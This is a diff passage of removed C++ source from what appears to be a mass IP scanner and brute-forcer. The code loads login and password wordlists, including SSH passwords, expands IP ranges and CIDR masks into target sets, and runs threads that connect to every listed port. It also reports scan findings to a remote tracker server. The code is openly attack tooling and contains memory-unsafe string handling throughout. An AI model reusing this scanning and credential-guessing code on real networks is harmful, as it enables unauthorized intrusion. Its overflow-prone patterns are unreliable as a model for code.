CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char rBuff[512] = {0}; - int test = recv(sock, rBuff, sizeof(rBuff), 0); - strcpy(rBuffT, rBuff); - - while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) - { - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - char *t1; - char *t2; - if(strstr(rBuffT, "http://") != NULL) - { - t1 = strstr(rBuffT, "http://"); - if(strstr((char*)(t1 + 7), "/") != NULL) - { - t2 = strstr((char*)(t1 + 7), "/"); - int ln = t2 - t1 - 7; - if(ln > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - SaveErrorLog("NS-Track", msg, rBuffT); - - continue; - } - else strncpy(ndbServer, (char*)(t1 + 7), ln); - - if(strlen(t2) > 64) - { - - stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); - - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - } - else - { - strncpy(ndbScriptT, t2, y); - CSSOCKET(sock); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); - - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - }; - } - else - { - strcpy(ndbScriptT, t2); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); - - CSSOCKET(sock); - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - CSSOCKET(sock); - - while(true) - { - if(globalScanFlag == false && jsonArr->size() == 0) break; - if(!trackerOK) { - Sleep(1000); - continue; - }; - - if(jsonArr->size() > 0) - { - QJsonObject jsonKey; - if(jsonArr == NULL) jsonArr = new QJsonArray(); - - QJsonObject jsonMeta; - if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // - else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode - else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // - jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); - jsonMeta.insert("current", QJsonValue(QString(currentIP)) ); - if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD - jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); - jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); - jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); - jsonMeta.insert("found", QJsonValue(QString::number(found)) ); - jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); - jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); - jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); - jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); - jsonMeta.insert("version", QJsonValue(QString(gVER)) ); - - jsonArr->push_front(QJsonValue(jsonMeta) ); - memset(trcPersKey + 32, '\0', 1); - jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); - jsonArr->push_front(jsonKey); - - QJsonDocument js; - js.setArray(*jsonArr); - QByteArray r = js.toJson(); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - if(msg != NULL) - { - delete []msg; - msg = 0; - }; - - msg = new char[r.size() + 1024]; - ZeroMemory(msg, sizeof(*msg)); - - strcpy(msg, "POST /"); - strcat(msg, ndbScript); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); - strcat(msg, std::to_string(r.size()).c_str()); - strcat(msg, "\r\nConnection: close\r\n\r\n"); - - strcat(msg, r.data()); - - delete jsonArr; - jsonArr = new QJsonArray(); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); - }; - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - - stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Sending!"); - stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); - stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char msgR[32] = {0}; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Receiving..."); - }; - - test = recv(sock, rBuff, 512, 0); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - - strncpy(msgR, rBuff, 32); - strcpy(rBuffT, rBuff); - while(test > 0) - { - if(test <= 0) break; - - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - test = recv(sock, rBuff, 512, 0); - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - if(strstr(rBuffT, "201 Created") != NULL) - { - - if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); - stt->doEmitionDataSaved(true); - Sleep(1000); - stt->doEmitionDataSaved(false); - - } - else if(strstr(rBuffT, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); - - SaveErrorLog("NS-Track", msg, rBuffT); - } - else - { - stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - ZeroMemory(msgR, sizeof(msgR)); - ZeroMemory(rBuffT, sizeof(rBuffT)); - ZeroMemory(msg, sizeof(*msg)); - - if(msg != NULL) - { - delete msg; - msg = NULL; - }; - - CSSOCKET(sock); - }; - Sleep(10000); - }; - } - else - { - stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - CSSOCKET(sock); - } -} - -unsigned long int numOfIps(int ipsstart[], int ipsend[]) { - gTargets += 16777216 * (ipsend[0] - ipsstart[0]); - gTargets += 65536 * (ipsend[1] - ipsstart[1]); - gTargets += 256 * (ipsend[2] - ipsstart[2]); - gTargets += (ipsend[3] - ipsstart[3]); - gTargetsOverall = gTargets - 1; - - //unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - //unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - //unsigned long gTargets = ip2 - ip1; - - return gTargets; -} - -void _connect() { - string ip = ""; - while (globalScanFlag) { - std::unique_lock<std::mutex> lk(Threader::m); - Threader::cv.wait(lk, []{return Threader::ready; }); - if (Threader::threadId > gThreads || !globalScanFlag) { - --Threader::threadId; - Threader::ready = false; - lk.unlock(); - return; - } - - if (!Threader::ipQueue.empty()) { - ip = Threader::ipQueue.front(); - Threader::ipQueue.pop(); - Threader::ready = false; - lk.unlock(); - - if (ip.size() == 0) return; - - ConInc(); - for (int i = 0; i <= overallPorts; ++i) - { - if (globalScanFlag == false) break; - if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; - }; - ConDec(); - } - } -} - -void verboseProgress(long long unsigned int target, const char *ip) { - - char targetNPers[128] = {0}; - float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} -void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { - - char targetNPers[128] = { 0 }; - float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} - -void _passLoginLoader() { - MaxLogin = 0; - MaxPass = 0; - - FILE *loginList; - FILE *passList; - - char buffFG[32] = {0}; - int i = 0; - - loginList = fopen("login.txt", "r"); - passList = fopen("pass.txt", "r"); - - if(passList != NULL && loginList != NULL) - { - while(fgets(buffFG, 32, loginList) != NULL) - { - MaxLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - MaxPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(loginList); - rewind(passList); - - loginLst = new char*[MaxLogin]; - passLst = new char*[MaxPass]; - - for(int j = 0; j < MaxLogin; j++) - { - loginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxPass; j++) - { - passLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - memset(passLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(passLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, loginList) != NULL) - { - memset(loginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(loginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); - - fclose(loginList); - fclose(passList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxWFLogin = 0; - MaxWFPass = 0; - - FILE *wfLoginList; - FILE *wfPassList; - - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - wfLoginList = fopen("wflogin.txt", "r"); - wfPassList = fopen("wfpass.txt", "r"); - - if(wfPassList != NULL && wfLoginList != NULL) - { - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - MaxWFLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - MaxWFPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(wfLoginList); - rewind(wfPassList); - - wfLoginLst = new char*[MaxWFLogin]; - wfPassLst = new char*[MaxWFPass]; - - for(int j = 0; j < MaxWFLogin; j++) - { - wfLoginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxWFPass; j++) - { - wfPassLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - memset(wfPassLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - memset(wfLoginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); - fclose(wfPassList); - fclose(wfLoginList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxSSHPass = 0; - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - sshlpList = fopen("sshpass.txt", "r"); - - if(sshlpList != NULL) - { - while(fgets(buffFG, 32, sshlpList) != NULL) - { - ++MaxSSHPass; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(sshlpList); - - sshlpLst = new char*[MaxSSHPass]; - - for(int j = 0; j < MaxSSHPass; j++) - { - sshlpLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, sshlpList) != NULL) - { - memset(sshlpLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); - - fclose(sshlpList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; -} - -void ReadUTF8(FILE* nFile, char *cp) { - char buffFG[256] = {0}; - int i = 0; - GlobalNegativeSize = 0; - - if(nFile != NULL) - { - while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && - ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) - && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) - { - ++GlobalNegativeSize; - }; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(nFile); - if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); - - GlobalNegatives = new char*[GlobalNegativeSize + 2]; - - while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || - (buffFG[0] == '/' && buffFG[1] == '/')) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - - if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') - { - char buffFGT[256] = {0}; - strcpy(buffFGT, buffFG); - char *ptr1 = strstr(buffFGT, "\t\t\t"); - ZeroMemory(buffFG, sizeof(buffFG)); - strcpy(buffFG, ptr1 + 3); - }; - - int bSz = strlen(buffFG); - if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - if(buffFG[bSz] == 13 || buffFG[bSz] == 10) - { - buffFG[bSz] = '\0'; - }; - if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) - { - buffFG[bSz - 1] = '\0'; - }; - if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) - { - buffFG[bSz - 2] = '\0'; - }; - - if(strstr((char*)buffFG, "\n") != 0) - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); - memset(GlobalNegatives[i] + sz - 1, '\0', 1); - ++i; - } - else - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); - memset(GlobalNegatives[i] + sz, '\0', 1); - ++i; - }; - - unsigned char buffcpy2[256] = {0}; - int sz = strlen((char*)buffFG); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); -#else - strncpy((char*)buffcpy2, buffFG, sz); -#endif - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); - ZeroMemory(buffFG, sizeof(buffFG)); - fclose(nFile); - } - else - { - stt->doEmitionRedFoundData("No negative list found"); - stt->doEmitionKillSttThread(); - }; -} - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -unsigned char* ASCIItoUNICODE (unsigned char ch) -{ - unsigned char Val[2]; - if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;} - if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;} - if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;} - if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;} - if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;} -} -#endif - -std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); - LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; - MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); - int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); - char * buf = (char *)new char[size]; - WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); - delete wbuf; - - res.append(buf); - delete buf; -#else - unsigned int size = 0; - while (src[size++]!=0); - char * buf = (char *)new char[size]; - unsigned char uni[16] = {0}; - - size=0; - while (src[size]!=0) - { - - }; - delete buf; -#endif - return res; -} -void _NegativeLoader() { - FILE *nFile = fopen("negatives.txt", "rb"); - - if( nFile != NULL) - { - unsigned char b[3] = {0}; - fread(b,1,2, nFile); - if( b[0] == 0xEF && b[1] == 0xBB) - { - fread(b,1,1,nFile); // 0xBF - ReadUTF8(nFile, "UTF"); - } - else - { - ReadUTF8(nFile, "1251"); - }; - } -} - -void CheckMaskBits(char *res, int index) { - char *bitsStr = strstr(res, "/"); - int bitsNum = atoi(bitsStr + 1); - int finalBit = 1; - int bitCounter = 0; - - if(bitsNum <= 32 && bitsNum > 24) //4 octet - { - bitCounter = 32 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = ipsendfl[index][2] = octet[2]; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = octet[3] + finalBit - 1; - - } - else if(bitsNum <= 24 && bitsNum > 16) //3 octet - { - bitCounter = 24 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = octet[2] + finalBit - 1; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else if(bitsNum <= 16 && bitsNum > 8) //2 octet - { - bitCounter = 16 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = octet[1] + finalBit - 1; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - - } - else if(bitsNum <= 8 && bitsNum > 0) //1 octet - { - bitCounter = 8 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = octet[0]; - ipsendfl[index][0] = octet[0] + finalBit - 1; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = 255; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else - { - stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); - stt->doEmitionKillSttThread(); - }; -} - -void GetOctets(char *curIP) { - char *str1; - char *str2; - char temp[8] = {0}; - - if(strstr(curIP, ".") != NULL) - { - str1 = strstr(curIP, "."); //1 - strncpy(temp, curIP, str1 - curIP); - octet[0] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(curIP, "/"); - strncpy(temp, curIP, str1 - curIP); - - octet[0] = atoi(temp); - octet[1] = 0; - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 - strncpy(temp, str1 + 1, str2 - str1); - octet[1] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1); - - octet[1] = atoi(temp); - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 - strncpy(temp, str2 + 1, str1 - str2); - octet[2] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(str2 + 1, "/"); - strncpy(temp, str2 + 1, str1 - str2); - - octet[2] = atoi(temp); - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 - strncpy(temp, str1 + 1, str2 - str1); - octet[3] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1 - 1); - - octet[3] = atoi(temp); - return; - }; -} - -void FileLoader(char *str) { - char curIP[256] = {0}, curIPCopy[256] = {0}; - unsigned int importFileSize = 0; - - FILE *fl = fopen(str, "r"); - if(fl != NULL) - { - while(fgets((char*)curIP, sizeof(curIP), fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - ++importFileSize; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - - ipsstartfl = new unsigned char*[importFileSize + 2]; - ipsendfl = new unsigned char*[importFileSize + 2]; - starterIP = new unsigned char*[importFileSize + 2]; - ZeroMemory(ipsstartfl, importFileSize); - ZeroMemory(ipsendfl, importFileSize); - ZeroMemory(starterIP, importFileSize); - for(int i = 0; i < importFileSize; ++i) - { - ipsstartfl[i] = new unsigned char[4]; - ipsendfl[i] = new unsigned char[4]; - starterIP[i] = new unsigned char[4]; - - ZeroMemory(ipsstartfl[i], 4); - ZeroMemory(ipsendfl[i], 4); - ZeroMemory(starterIP[i], 4); - }; - - rewind(fl); - - while(fgets(curIP, 256, fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - strcpy(curIPCopy, curIP); - char *ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0'; - ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - ptr1 = strstr(curIP, "#"); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#') - { - ZeroMemory(curIPCopy, sizeof(curIPCopy)); - ZeroMemory(curIP, sizeof(curIP)); - continue; - }; - - if(strstr(curIP, "-") != NULL) - { - bool firstPart = true; - int offset = 0; - int curNIndex = 0; - char curS; - char curN[32] = {0}; - for(int i = 0; i < strlen(curIP); ++i) - { - curS = curIP[i]; - if(curS == '.') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - ++offset; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - } - else if(curS == '-') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - offset = 0; - firstPart = false; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - }; - curN[curNIndex++] = curS; - if(i == strlen(curIP) - 1) - { - ipsendfl[flCounter][offset] = atoi(curN); - }; - }; - - if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0] - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] > ipsendfl[flCounter][1] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] > ipsendfl[flCounter][2] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2] - && ipsstartfl[flCounter][3] > ipsendfl[flCounter][3] - ) - ) - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - - gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]); - gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]); - gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]); - gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]); - ++flCounter; - } - else if(strstr(curIP, "/") != NULL) - { - int mask = 0; - char *ptr1 = strstr(curIP, "/"); - GetOctets(curIP); - - mask = 